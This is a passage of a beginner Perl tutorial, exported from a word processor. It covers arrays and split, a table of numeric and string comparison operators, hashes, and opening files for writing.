<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in;"><strong style="mso-bidi-font-weight: normal;"><span style="text-decoration: underline;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="text-decoration: none;"> </span></span></span></strong></p>
<h2 style="margin: 0in 0in 0pt 0.5in; text-indent: 0.5in;"><a name="_Toc220220664"><span style="text-decoration: underline;"><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Array [split on delimiter]</span></span></a><span style="text-decoration: underline;"><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></span></h2>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-indent: 0.5in;"><span style="text-decoration: underline;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold; mso-bidi-font-family: Arial;">Array</span></span><span style="text-decoration: underline;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: Arial;"> designated by @</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: Arial;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: 'Courier New';">@Arraytrial = (‘Trial’,’Array’)</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: 'Courier New';">$# Arraytrial=1 [</span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: Arial;">largest index value] </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: Arial;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: Arial;">To clean any array just set the largest index value to -1</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: 'Courier New';">$# Arraytrial = -1;</span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: Arial;"></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: Arial;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: Arial;">String can be put into array splitting it on a delimiter</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: Arial;">@</span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: 'Courier New';"> Arraytrial </span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: Arial;">= <strong style="mso-bidi-font-weight: normal;">split</strong>(&#8217;,',$variable) [splitted on comma ‘,’]</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: Arial;"><span style="mso-tab-count: 1;">          </span>Split is an in built function which splits the string on the delimiter.</span></p>
<h2 style="margin: 0in 0in 0pt 1in;"><span style="text-decoration: underline;"><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="text-decoration: none;"> </span></span></span></h2>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<h2 style="margin: 0in 0in 0pt 1in;"><a name="_Toc220220665"><span style="text-decoration: underline;"><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Data comparison</span></span></a><span style="text-decoration: underline;"><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></span></h2>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">The comparison operator for numbers and strings are as follows:</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<table class="MsoNormalTable" style="margin: auto auto auto 77.4pt; width: 6in; border-collapse: collapse; mso-padding-alt: 0in 5.4pt 0in 5.4pt; mso-border-alt: solid windowtext .5pt; mso-yfti-tbllook: 480; mso-border-insideh: .5pt solid windowtext; mso-border-insidev: .5pt solid windowtext;" border="1" cellspacing="0" cellpadding="0" width="576">
<tbody>
<tr style="mso-yfti-irow: 0; mso-yfti-firstrow: yes;">
<td style="padding-right: 5.4pt; padding-left: 5.4pt; padding-bottom: 0in; width: 150.6pt; padding-top: 0in; background-color: transparent; mso-border-alt: solid windowtext .5pt; border: windowtext 1pt solid;" width="201" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Compare<span style="mso-tab-count: 1;">        </span><span style="mso-tab-count: 1;">            </span></span></strong></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: windowtext 1pt solid; padding-left: 5.4pt; padding-bottom: 0in; border-left: #f0f0f0; width: 150.6pt; padding-top: 0in; border-bottom: windowtext 1pt solid; background-color: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt;" width="201" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Numbers<span style="mso-tab-count: 1;">       </span></span></strong></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: windowtext 1pt solid; padding-left: 5.4pt; padding-bottom: 0in; border-left: #f0f0f0; width: 130.8pt; padding-top: 0in; border-bottom: windowtext 1pt solid; background-color: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt;" width="174" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">String</span></strong></p>
</td>
</tr>
<tr style="mso-yfti-irow: 1;">
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: #f0f0f0; padding-left: 5.4pt; padding-bottom: 0in; border-left: windowtext 1pt solid; width: 150.6pt; padding-top: 0in; border-bottom: windowtext 1pt solid; background-color: transparent; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt;" width="201" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Less than</span></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: #f0f0f0; padding-left: 5.4pt; padding-bottom: 0in; border-left: #f0f0f0; width: 150.6pt; padding-top: 0in; border-bottom: windowtext 1pt solid; background-color: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt;" width="201" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">&lt; </span></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: #f0f0f0; padding-left: 5.4pt; padding-bottom: 0in; border-left: #f0f0f0; width: 130.8pt; padding-top: 0in; border-bottom: windowtext 1pt solid; background-color: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt;" width="174" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">lt</span></p>
</td>
</tr>
<tr style="mso-yfti-irow: 2;">
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: #f0f0f0; padding-left: 5.4pt; padding-bottom: 0in; border-left: windowtext 1pt solid; width: 150.6pt; padding-top: 0in; border-bottom: windowtext 1pt solid; background-color: transparent; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt;" width="201" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Greater than</span></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: #f0f0f0; padding-left: 5.4pt; padding-bottom: 0in; border-left: #f0f0f0; width: 150.6pt; padding-top: 0in; border-bottom: windowtext 1pt solid; background-color: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt;" width="201" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">&gt; </span></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: #f0f0f0; padding-left: 5.4pt; padding-bottom: 0in; border-left: #f0f0f0; width: 130.8pt; padding-top: 0in; border-bottom: windowtext 1pt solid; background-color: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt;" width="174" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">gt</span></p>
</td>
</tr>
<tr style="mso-yfti-irow: 3;">
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: #f0f0f0; padding-left: 5.4pt; padding-bottom: 0in; border-left: windowtext 1pt solid; width: 150.6pt; padding-top: 0in; border-bottom: windowtext 1pt solid; background-color: transparent; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt;" width="201" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Less than equal</span></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: #f0f0f0; padding-left: 5.4pt; padding-bottom: 0in; border-left: #f0f0f0; width: 150.6pt; padding-top: 0in; border-bottom: windowtext 1pt solid; background-color: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt;" width="201" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">&lt;=</span></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: #f0f0f0; padding-left: 5.4pt; padding-bottom: 0in; border-left: #f0f0f0; width: 130.8pt; padding-top: 0in; border-bottom: windowtext 1pt solid; background-color: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt;" width="174" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">le</span></p>
</td>
</tr>
<tr style="mso-yfti-irow: 4;">
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: #f0f0f0; padding-left: 5.4pt; background: white; padding-bottom: 0in; border-left: windowtext 1pt solid; width: 150.6pt; padding-top: 0in; border-bottom: windowtext 1pt solid; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt;" width="201" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Greater than equal</span></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: #f0f0f0; padding-left: 5.4pt; background: white; padding-bottom: 0in; border-left: #f0f0f0; width: 150.6pt; padding-top: 0in; border-bottom: windowtext 1pt solid; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt;" width="201" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">&gt;=</span></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: #f0f0f0; padding-left: 5.4pt; background: white; padding-bottom: 0in; border-left: #f0f0f0; width: 130.8pt; padding-top: 0in; border-bottom: windowtext 1pt solid; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt;" width="174" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">ge</span></p>
</td>
</tr>
<tr style="mso-yfti-irow: 5;">
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: #f0f0f0; padding-left: 5.4pt; padding-bottom: 0in; border-left: windowtext 1pt solid; width: 150.6pt; padding-top: 0in; border-bottom: windowtext 1pt solid; background-color: transparent; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt;" width="201" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Equal</span></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: #f0f0f0; padding-left: 5.4pt; padding-bottom: 0in; border-left: #f0f0f0; width: 150.6pt; padding-top: 0in; border-bottom: windowtext 1pt solid; background-color: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt;" width="201" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">==</span></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: #f0f0f0; padding-left: 5.4pt; padding-bottom: 0in; border-left: #f0f0f0; width: 130.8pt; padding-top: 0in; border-bottom: windowtext 1pt solid; background-color: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt;" width="174" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">eq</span></p>
</td>
</tr>
<tr style="mso-yfti-irow: 6;">
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: #f0f0f0; padding-left: 5.4pt; padding-bottom: 0in; border-left: windowtext 1pt solid; width: 150.6pt; padding-top: 0in; border-bottom: windowtext 1pt solid; background-color: transparent; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt;" width="201" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Not equal</span></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: #f0f0f0; padding-left: 5.4pt; padding-bottom: 0in; border-left: #f0f0f0; width: 150.6pt; padding-top: 0in; border-bottom: windowtext 1pt solid; background-color: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt;" width="201" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">!=</span></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: #f0f0f0; padding-left: 5.4pt; padding-bottom: 0in; border-left: #f0f0f0; width: 130.8pt; padding-top: 0in; border-bottom: windowtext 1pt solid; background-color: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt;" width="174" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">ne</span></p>
</td>
</tr>
<tr style="mso-yfti-irow: 7; mso-yfti-lastrow: yes;">
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: #f0f0f0; padding-left: 5.4pt; padding-bottom: 0in; border-left: windowtext 1pt solid; width: 150.6pt; padding-top: 0in; border-bottom: windowtext 1pt solid; background-color: transparent; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt;" width="201" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">compare</span></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: #f0f0f0; padding-left: 5.4pt; padding-bottom: 0in; border-left: #f0f0f0; width: 150.6pt; padding-top: 0in; border-bottom: windowtext 1pt solid; background-color: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt;" width="201" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">&lt;=&gt;</span></p>
</td>
<td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: #f0f0f0; padding-left: 5.4pt; padding-bottom: 0in; border-left: #f0f0f0; width: 130.8pt; padding-top: 0in; border-bottom: windowtext 1pt solid; background-color: transparent; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt;" width="174" valign="top">
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">cmp</span></p>
</td>
</tr>
</tbody>
</table>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 1;">          </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in; tab-stops: 27.0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<h2 style="margin: 0in 0in 0pt 1in;"><a name="_Toc220220666"><span style="text-decoration: underline;"><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Hash/Associative Array</span></span></a><span style="text-decoration: underline;"><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></span></h2>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="text-decoration: underline;"><span style="font-size: 10pt; color: black; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold; mso-bidi-font-family: Arial;">Hash or associative array</span></span><span style="text-decoration: underline;"><span style="font-size: 10pt; color: black; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: Arial;"> </span></span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: Arial;">designated<span style="color: black;"> by %</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; color: black; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: Arial;">Hashes contain data in pairs called <strong style="mso-bidi-font-weight: normal;">KEY</strong> and associated <strong style="mso-bidi-font-weight: normal;">VALUE</strong></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; color: black; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: Arial;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: 'Courier New';">%names = (‘somali’,’444’,’arundhati’,’631’)</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: 'Courier New';">Or </span></strong></p>
<pre style="margin: 0in -99pt 0pt 1in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 458.0pt 503.8pt 7.25in 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-ansi-language: SV;" lang="SV"><span style="font-size: x-small;">% names = (somali<span style="mso-spacerun: yes;">         </span>-&gt; ‘444’,</span></span></pre>
<pre style="margin: 0in -99pt 0pt 1in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 458.0pt 503.8pt 7.25in 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-ansi-language: SV;" lang="SV"><span style="font-size: x-small;"><span style="mso-tab-count: 1;">     </span><span style="mso-spacerun: yes;">          </span><span style="mso-tab-count: 1;">  </span><span style="mso-spacerun: yes;">   </span>arundhati<span style="mso-spacerun: yes;">     </span>-&gt; '631')</span></span></pre>
<pre style="margin: 0in -99pt 0pt 1in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 458.0pt 503.8pt 7.25in 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><strong style="mso-bidi-font-weight: normal;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-ansi-language: SV;" lang="SV"><span style="font-size: x-small;">Or</span></span></strong></pre>
<pre style="margin: 0in -99pt 0pt 1in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 7.25in 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-ansi-language: SV;" lang="SV"><span style="font-size: x-small;">my( %names);</span></span></pre>
<pre style="margin: 0in -99pt 0pt 1in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 7.25in 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-ansi-language: SV;" lang="SV"><span style="font-size: x-small;">$names{ &lt;key&gt; } = &lt;value&gt;</span></span></pre>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-ansi-language: SV;" lang="SV"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="text-decoration: underline;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Print a hash</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">print “@{[% names]}”</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<h2 style="margin: 0in 0in 0pt 1in;"><a name="_Toc220220667"><span style="text-decoration: underline;"><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Write and Close file</span></span></a><span style="text-decoration: underline;"><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></span></h2>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Open a file in write mode. Here if the file does not exist, the file will be created. If it exists, the file will be overwritten.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 1;">          </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; background: silver; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-highlight: silver;">open (&lt;File identifier&gt;,&#8221;<strong style="mso-bidi-font-weight: normal;">&gt;</strong>&#8220;,&#8221;&lt;file&gt;&#8221;)</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; background: silver; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-highlight: silver;">or die &#8220;open failed:<span style="mso-spacerun: yes;">  </span>$!&#8221;</span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">File Identifier</span></strong><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> – After opening the file, the file will be referenced with the file identifier.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Symbol</span></strong><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> ‘<strong style="mso-bidi-font-weight: normal;">&gt;</strong>’ – open a file in write mode</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">die</span></strong><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> &#8211; If open of the file failed, the program will display the error message and abort</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">To append data into an existing file, the file needs to be opened in append mode.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
